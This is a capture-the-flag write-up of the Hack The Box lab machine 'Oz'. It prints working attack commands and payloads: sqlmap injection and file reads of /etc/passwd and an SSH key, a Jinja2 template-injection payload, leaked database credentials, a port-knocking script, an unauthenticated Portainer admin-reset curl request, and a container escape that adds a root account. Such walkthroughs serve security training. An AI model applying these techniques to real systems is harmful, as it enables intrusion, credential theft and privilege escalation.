HTB – Oz

Today we are going to solve another CTF challenge “Oz” which is available online for those who want to increase their skill in penetration testing and black box testing. Oz is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Hard

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.96 so let’s begin with nmap port enumeration.

root@kali:~/htb/oz# nmap -sC -sV 10.10.10.96
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-24 14:00 CET
Nmap scan report for 10.10.10.96
Host is up (0.027s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Werkzeug httpd 0.14.1 (Python 2.7.14)
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
|_http-title: OZ webapi
|_http-trane-info: Problem with XML parsing of /evox/about
8080/tcp open  http    Werkzeug httpd 0.14.1 (Python 2.7.14)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
| http-title: GBR Support - Login
|_Requested resource was http://10.10.10.96:8080/login
|_http-trane-info: Problem with XML parsing of /evox/about

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.66 seconds

Nmap reveals that Python Werkzeug is listening on ports 80 and 8808.

Directory / File Enumeration

Let’s use wfuzz to check out what’s next.

root@kali:~/htb/oz#  wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://10.10.10.96/FUZZ

********************************************************
* Wfuzz 2.3.1 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.96/FUZZ
Total requests: 950

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000001:  C=200      0 L	       1 W	    216 Ch	  "e"
000002:  C=200      0 L	       4 W	     27 Ch	  "00"
000003:  C=200      0 L	       1 W	    186 Ch	  "01"
000004:  C=200      0 L	       4 W	     27 Ch	  "02"
000005:  C=200      0 L	       1 W	    159 Ch	  "03"
000006:  C=200      0 L	       4 W	     27 Ch	  "1"
000007:  C=200      0 L	       4 W	     27 Ch	  "10"
000008:  C=200      0 L	       1 W	    126 Ch	  "100"
000009:  C=200      0 L	       4 W	     27 Ch	  "1000"
000010:  C=200      0 L	       4 W	     27 Ch	  "123"

Hold up. Something’s not right. Every request results in a 200?

Just like above, the response is either one line with “Please register a username!” or a random string with mixed digits and uppercase letters. Well, this is easy to fix with wfuzz’s filtering syntax.

root@kali:~/htb/oz# wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hl 0 http://10.10.10.96/FUZZ

********************************************************
* Wfuzz 2.3.1 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.96/FUZZ
Total requests: 950

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000871:  C=200      3 L	       6 W	     79 Ch	  "users"

Total time: 6.389402
Processed Requests: 950
Filtered Requests: 949
Requests/sec.: 148.6837

Visiting /users/admin shows that “admin” is a valid username.

Aside from /admin under users directory, an ` (apostrophe) was also discovered by our simple python script and visiting it will give us an Internal Server Error.

Internal Server Error (500) may indicates that the value after /users is vulnerable to SQL Injection.

SQL Injection

Enter sqlmap. The popular open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.

# sqlmap –url=http://10.10.10.96/users/*

Perfect. We can now proceed to dump the database!

root@kali:~/htb/oz# sqlmap --dump --url=http://10.10.10.96/users/*

[*] starting @ 14:16:25 /2019-01-24/

custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y
[14:16:28] [INFO] resuming back-end DBMS 'mysql' 
[14:16:28] [INFO] testing connection to the target URL
[14:16:28] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: http://10.10.10.96:80/users/' UNION ALL SELECT CONCAT(CONCAT('qpzvq','IsehBftaMfdCMpGBNErSCmWHnfyauRfdulaBFbqj'),'qqpqq')-- PqUw
---
[14:16:28] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5 (MariaDB fork)
[14:16:28] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[14:16:28] [INFO] fetching current database
[14:16:28] [INFO] fetching tables for database: 'ozdb'
[14:16:28] [INFO] used SQL query returns 2 entries
[14:16:29] [INFO] retrieved: tickets_gbw
[14:16:29] [INFO] retrieved: users_gbw
[14:16:29] [INFO] fetching columns for table 'users_gbw' in database 'ozdb' 
[14:16:29] [INFO] used SQL query returns 3 entries
[14:16:29] [INFO] retrieved: "id","int(11)"
[14:16:29] [INFO] retrieved: "username","text"
[14:16:29] [INFO] retrieved: "password","text"
[14:16:29] [INFO] fetching entries for table 'users_gbw' in database 'ozdb' 
[14:16:29] [INFO] used SQL query returns 6 entries
[14:16:29] [INFO] retrieved: "1","$pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78","dorthi"
[14:16:29] [INFO] retrieved: "2","$pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk","tin.man"
[14:16:29] [INFO] retrieved: "3","$pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY","wizard.oz"
[14:16:29] [INFO] retrieved: "4","$pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY","coward.lyon"
[14:16:29] [INFO] retrieved: "5","$pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg","toto"
[14:16:29] [INFO] retrieved: "6","$pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ","admin"
Database: ozdb 
Table: users_gbw
[6 entries]
+----+-------------+----------------------------------------------------------------------------------------+
| id | username | password |
+----+-------------+----------------------------------------------------------------------------------------+
| 1 | dorthi | $pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78 |
| 2 | tin.man | $pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk |
| 3 | wizard.oz | $pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY |
| 4 | coward.lyon | $pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY |
| 5 | toto | $pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg |
| 6 | admin | $pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ |
+----+-------------+----------------------------------------------------------------------------------------+

[14:16:29] [INFO] table 'ozdb.users_gbw' dumped to CSV file '/root/.sqlmap/output/10.10.10.96/dump/ozdb/users_gbw.csv'
[14:16:29] [INFO] fetching columns for table 'tickets_gbw' in database 'ozdb'
[14:16:29] [INFO] used SQL query returns 3 entries
[14:16:29] [INFO] retrieved: "id","int(11)"
[14:16:29] [INFO] retrieved: "name","varchar(10)"
[14:16:29] [INFO] retrieved: "desc","text"
[14:16:29] [INFO] fetching entries for table 'tickets_gbw' in database 'ozdb' 
[14:16:29] [INFO] used SQL query returns 12 entries
[14:16:30] [INFO] retrieved: "Reissued new id_rsa and id_rsa.pub keys for ssh access to dorthi.","1","GBR-987"
[14:16:30] [INFO] retrieved: "Where did all these damn monkey's come from!? I need to call pest control.","2","GBR-1204"
[14:16:30] [INFO] retrieved: "Note to self: Toto keeps chewing on the curtain, find one with dog repellent.","3","GBR-1205"
[14:16:30] [INFO] retrieved: "Nothing to see here... V2hhdCBkaWQgeW91IGV4cGVjdD8=","4","GBR-1389"
[14:16:30] [INFO] retrieved: "Think of a better secret knock for the front door. Doesn't seem that secure, a Lion got in today.","5","GBR-4034"
[14:16:30] [INFO] retrieved: "I bet you won't read the next entry.","6","GBR-5012"
[14:16:30] [INFO] retrieved: "HAHA! Made you look.","7","GBR-7890"
[14:16:30] [INFO] retrieved: "Dorthi should be able to find her keys in the default folder under /home/dorthi/ on the db.","8","GBR-7945"
[14:16:30] [INFO] retrieved: "Seriously though, WW91J3JlIGp1c3QgdHJ5aW5nIHRvbyBoYXJkLi4uIG5vYm9keSBoaWRlcyBhbnl0aGluZyBpbiBiYXNlNjQgYW55bW9yZS4uLiBjJ21vbi4="...
[14:16:30] [INFO] retrieved: "You are just wasting time now... someone else is getting user.txt","10","GBR-8042"
[14:16:30] [INFO] retrieved: "Look... now they've got root.txt and you don't even have user.txt","11","GBR-8457"
[14:16:30] [INFO] retrieved: "db information loaded to ticket application for shared db access","12","GBR-9872"
Database: ozdb 
Table: tickets_gbw
[12 entries]
+----+----------+--------------------------------------------------------------------------------------------------------------------------------+
| id | name | desc |
+----+----------+--------------------------------------------------------------------------------------------------------------------------------+
| 1 | GBR-987 | Reissued new id_rsa and id_rsa.pub keys for ssh access to dorthi. |
| 2 | GBR-1204 | Where did all these damn monkey's come from!? I need to call pest control. |
| 3 | GBR-1205 | Note to self: Toto keeps chewing on the curtain, find one with dog repellent. |
| 4 | GBR-1389 | Nothing to see here... V2hhdCBkaWQgeW91IGV4cGVjdD8= |
| 5 | GBR-4034 | Think of a better secret knock for the front door. Doesn't seem that secure, a Lion got in today. |
| 6 | GBR-5012 | I bet you won't read the next entry. |
| 7 | GBR-7890 | HAHA! Made you look. |
| 8 | GBR-7945 | Dorthi should be able to find her keys in the default folder under /home/dorthi/ on the db. |
| 9 | GBR-8011 | Seriously though, WW91J3JlIGp1c3QgdHJ5aW5nIHRvbyBoYXJkLi4uIG5vYm9keSBoaWRlcyBhbnl0aGluZyBpbiBiYXNlNjQgYW55bW9yZS4uLiBjJ21vbi4= |
| 10 | GBR-8042 | You are just wasting time now... someone else is getting user.txt |
| 11 | GBR-8457 | Look... now they've got root.txt and you don't even have user.txt |
| 12 | GBR-9872 | db information loaded to ticket application for shared db access |
+----+----------+--------------------------------------------------------------------------------------------------------------------------------+

[14:16:30] [INFO] table 'ozdb.tickets_gbw' dumped to CSV file '/root/.sqlmap/output/10.10.10.96/dump/ozdb/tickets_gbw.csv'
[14:16:30] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.96'

[*] ending @ 14:16:30 /2019-01-24/

I also tried dumping local files using the sqlmap command below and was able to retrieve SSH Private Key and passwd file.

root@kali:~/htb/oz# sqlmap -u "http://10.10.10.96/users/*" --file-read=/home/dorthi/.ssh/id_rsa --batch
___

[*] starting @ 14:26:24 /2019-01-24/

do you want confirmation that the remote file '/home/dorthi/.ssh/id_rsa' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
[14:30:13] [INFO] the local file '/root/.sqlmap/output/10.10.10.96/files/_home_dorthi_.ssh_id_rsa' and the remote file '/home/dorthi/.ssh/id_rsa' have the same size (1766 B)
files saved to [1]:
[*] /root/.sqlmap/output/10.10.10.96/files/_home_dorthi_.ssh_id_rsa (same file)

[14:30:13] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.96'

[*] ending @ 14:30:13 /2019-01-24/
root@kali:~/htb/oz# cat /root/.sqlmap/output/10.10.10.96/files/_home_dorthi_.ssh_id_rsa 
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,66B9F39F33BA0788CD27207BF8F2D0F6

RV903H6V6lhKxl8dhocaEtL4Uzkyj1fqyVj3eySqkAFkkXms2H+4lfb35UZb3WFC
b6P7zYZDAnRLQjJEc/sQVXuwEzfWMa7pYF9Kv6ijIZmSDOMAPjaCjnjnX5kJMK3F
e1BrQdh0phWAhhUmbYvt2z8DD/OGKhxlC7oT/49I/ME+tm5eyLGbK69Ouxb5PBty
h9A+Tn70giENR/ExO8qY4WNQQMtiCM0tszes8+guOEKCckMivmR2qWHTCs+N7wbz
a//JhOG+GdqvEhJp15pQuj/3SC9O5xyLe2mqL1TUK3WrFpQyv8lXartH1vKTnybd
9+Wme/gVTfwSZWgMeGQjRXWe3KUsgGZNFK75wYtA/F/DB7QZFwfO2Lb0mL7Xyzx6
ZakulY4bFpBtXsuBJYPNy7wB5ZveRSB2f8dznu2mvarByMoCN/XgVVZujugNbEcj
evroLGNe/+ISkJWV443KyTcJ2iIRAa+BzHhrBx31kG//nix0vXoHzB8Vj3fqh+2M
EycVvDxLK8CIMzHc3cRVUMBeQ2X4GuLPGRKlUeSrmYz/sH75AR3zh6Zvlva15Yav
5vR48cdShFS3FC6aH6SQWVe9K3oHzYhwlfT+wVPfaeZrSlCH0hG1z9C1B9BxMLQr
DHejp9bbLppJ39pe1U+DBjzDo4s6rk+Ci/5dpieoeXrmGTqElDQi+KEU9g8CJpto
bYAGUxPFIpPrN2+1RBbxY6YVaop5eyqtnF4ZGpJCoCW2r8BRsCvuILvrO1O0gXF+
wtsktmylmHvHApoXrW/GThjdVkdD9U/6Rmvv3s/OhtlAp3Wqw6RI+KfCPGiCzh1V
0yfXH70CfLO2NcWtO/JUJvYH3M+rvDDHZSLqgW841ykzdrQXnR7s9Nj2EmoW72IH
znNPmB1LQtD45NH6OIG8+QWNAdQHcgZepwPz4/9pe2tEqu7Mg/cLUBsTYb4a6mft
icOX9OAOrcZ8RGcIdVWtzU4q2YKZex4lyzeC/k4TAbofZ0E4kUsaIbFV/7OMedMC
zCTJ6rlAl2d8e8dsSfF96QWevnD50yx+wbJ/izZonHmU/2ac4c8LPYq6Q9KLmlnu
vI9bLfOJh8DLFuqCVI8GzROjIdxdlzk9yp4LxcAnm1Ox9MEIqmOVwAd3bEmYckKw
w/EmArNIrnr54Q7a1PMdCsZcejCjnvmQFZ3ko5CoFCC+kUe1j92i081kOAhmXqV3
c6xgh8Vg2qOyzoZm5wRZZF2nTXnnCQ3OYR3NMsUBTVG2tlgfp1NgdwIyxTWn09V0
nOzqNtJ7OBt0/RewTsFgoNVrCQbQ8VvZFckvG8sV3U9bh9Zl28/2I3B472iQRo+5
uoRHpAgfOSOERtxuMpkrkU3IzSPsVS9c3LgKhiTS5wTbTw7O/vxxNOoLpoxO2Wzb
/4XnEBh6VgLrjThQcGKigkWJaKyBHOhEtuZqDv2MFSE6zdX/N+L/FRIv1oVR9VYv
QGpqEaGSUG+/TSdcANQdD3mv6EGYI+o4rZKEHJKUlCI+I48jHbvQCLWaR/bkjZJu
XtSuV0TJXto6abznSC1BFlACIqBmHdeaIXWqH+NlXOCGE8jQGM8s/fd/j5g1Adw3
-----END RSA PRIVATE KEY-----

SSH Private

Aside from SSH Private Key, I also dumped the passwd file.

root@kali:~/htb/oz# sqlmap -u "http://10.10.10.96/users/*" --file-read=/etc/passwd --batch
___

[*] starting @ 14:33:33 /2019-01-24/

custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[14:33:33] [INFO] resuming back-end DBMS 'mysql' 
[14:33:33] [INFO] testing connection to the target URL
[14:33:33] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: http://10.10.10.96:80/users/' UNION ALL SELECT CONCAT(CONCAT('qpzvq','IsehBftaMfdCMpGBNErSCmWHnfyauRfdulaBFbqj'),'qqpqq')-- PqUw
---
[14:33:33] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5 (MariaDB fork)
[14:33:33] [INFO] fingerprinting the back-end DBMS operating system
[14:33:33] [INFO] the back-end DBMS operating system is Linux
[14:33:33] [INFO] fetching file: '/etc/passwd'
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
[14:33:33] [INFO] the local file '/root/.sqlmap/output/10.10.10.96/files/_etc_passwd' and the remote file '/etc/passwd' have the same size (798 B)
files saved to [1]:
[*] /root/.sqlmap/output/10.10.10.96/files/_etc_passwd (same file)

[14:33:33] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.96'

[*] ending @ 14:33:33 /2019-01-24/

root@kali:~/htb/oz# cat /root/.sqlmap/output/10.10.10.96/files/_etc_passwd 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
mysql:x:999:999::/home/mysql:/bin/sh

John the Ripper

So, After dumping all the local files and data from the ozdb database, I used a tool called john to crack the PBKDF2-SHA256 hashes that I found on users_gbw table.

Luckily, I cracked one of the hashes.

The string wizardofoz22 is the password for wizard.oz account.

Server Side Template Injection (SSTI)

GBR Support website

Using the credential of wizard.oz, I successfully logged into the website.

The list of tickets in the website is same with the data I dumped from tickets_gbw table.

Aside from ticket viewing, we can also create a new ticket. After trying different kind of injection, I found out that the creation of ticket is vulnerable to Server Side Template Injection (SSTI).

In SSTI, there are many template engines that could be vulnerable to this attack. There are SSTI in Ruby, Java, Smarty, Twig, Jinja. Mako, Jade, etc.

But for this box, Jinja2 payload from PayloadsAllTheThings works fine after using {{7*’7'}} and it returns 7777777 and not 49.

Discovering the correct template engine

SSTI payload below will help us retrieve the passwd file.

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
Retrieving /etc/passwd file

In Jinja2 templates, there are several global variables such as config.

{{config}}
global variable config output

The output of the config global variable reveals the credentials below.

mysql+pymysql://dorthi:N0Pl4c3L1keH0me@10.100.10.4/ozdb

Retrieving the config items will show us some functions and variables.

{{config.items()}}

Command Execution

RUNCMD caught my attention because it can be used to perform Command Execution.

Using the payload below, I was able to retrieve theid of the machine.

Retrieving id of the machine

After that, I kept on digging inside the machine to discover more interesting files and found some credentials.

Discovered Credentials
Password = SuP3rS3cr3tP@ss
User = dorthi
Password = N0Pl4c3L1keH0me

The file also mentioned SSH so I think one of the two discovered passwords can be used to authenticated in SSH? Hmm we’ll see later.

Then, I discovered an interesting directory named .secret.

Inside the directory, a file named knockd.conf was retrieved and checking the content of the file returns configuration of UDP ports. These ports can be used to perform a port knocking to open the SSH service. (So we can possibly use the credentials above)

Knockd config

Port Knocking

Knocking on Heaven’s Door

Now that we know the port-knocking sequence, let’s write a script with nmap as the main driver. Bear in mind the port sequences are in UDP only. That’s why nmap is ran with -sU.

root@kali:~/htb/oz# cat knockknock.sh 
#!/bin/bash

TARGET=$1

for ports in $(cat permutation.txt); do
echo "[*] Trying sequence $ports..."
for p in $(echo $ports | tr ',' ' '); do
nmap -n -v0 -Pn --max-retries 0 -p $p -sU $TARGET
done
sleep 1
nmap -n -v -Pn -p22 -T5 $TARGET -oN ${ports}.txt
ssh -i id_rsa dorthi@$TARGET
done

permutation.txt contains the sequence 40809,50212,46969.

True enough, the SSH service is now unlocked. But, because the sequence is valid for 15 seconds, we need to act fast.

The user.txt is located at dorthi’s home directory.

Privilege Escalation

During enumeration of dorthi’s account, I noticed that dorthi is allowed to run the following commands as root without password.

46e373ff.png

The idea behind these commands is so that dorthi can find out which IP address the Portainer container is on.

86999f49.png

Now, there’s something very wrong with Portainer 1.11.1; you can reset the admin password to your liking.

And, since curl is available, let’s use it to change the admin password like so.

$ curl -i -H "Content-Type: application/json" -d '{"username":"admin","password":"noplacelikehome"}' 172.17.0.2:9000/api/users/admin/init

Next, let’s forward the port to my attacking machine so that I can use my browser to access the Portainer web user interface. But first, I need to enable SSH on my machine.

On my machine

root@kali:~/htb/oz# systemctl start ssh

On the remote shell

dorthi@Oz:~$ ssh -R 10.10.14.13:9999:172.17.0.2:9000 puck@10.10.14.13 -fN
puck@10.10.14.13's password: 

On my machine

root@kali:~/htb# netstat -alnp | grep 9999
tcp 0 0 127.0.0.1:9999 0.0.0.0:* LISTEN 12394/sshd: puck 
tcp6 0 0 ::1:9999 :::* LISTEN 12394/sshd: puck

This is how Portainer looks like, browsed from my pc.

bb59f3f9.png

Oh! The sweet taste of admin access.

7ef2f185.png

We know that Portainer is running as root. And the creators are so kind to leave image python:2.7-alpine for us to create our own container.

d147e2ca.png

Let’s create a container with the image and mount /etc/password as /opt/passwd. We’ll add an account with the same UID as root.

Give ourselves a TTY console

dbc6fc6a.png

Map /etc/passwd on the host to /opt/passwd on the container

7f248c97.png

Start the container in privileged mode

255ec94d.png

Once the container starts, go to the console and edit /opt/passwd with vi.

a2509434.png

to5bce5sr7eK6 is the crypt hash of “toor” with salt “toor”.

# perl -e 'print crypt("toor", "toor")'

Once that’s done, we can su to root in the low-privileged shell obtained earlier.

465400fc.png

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *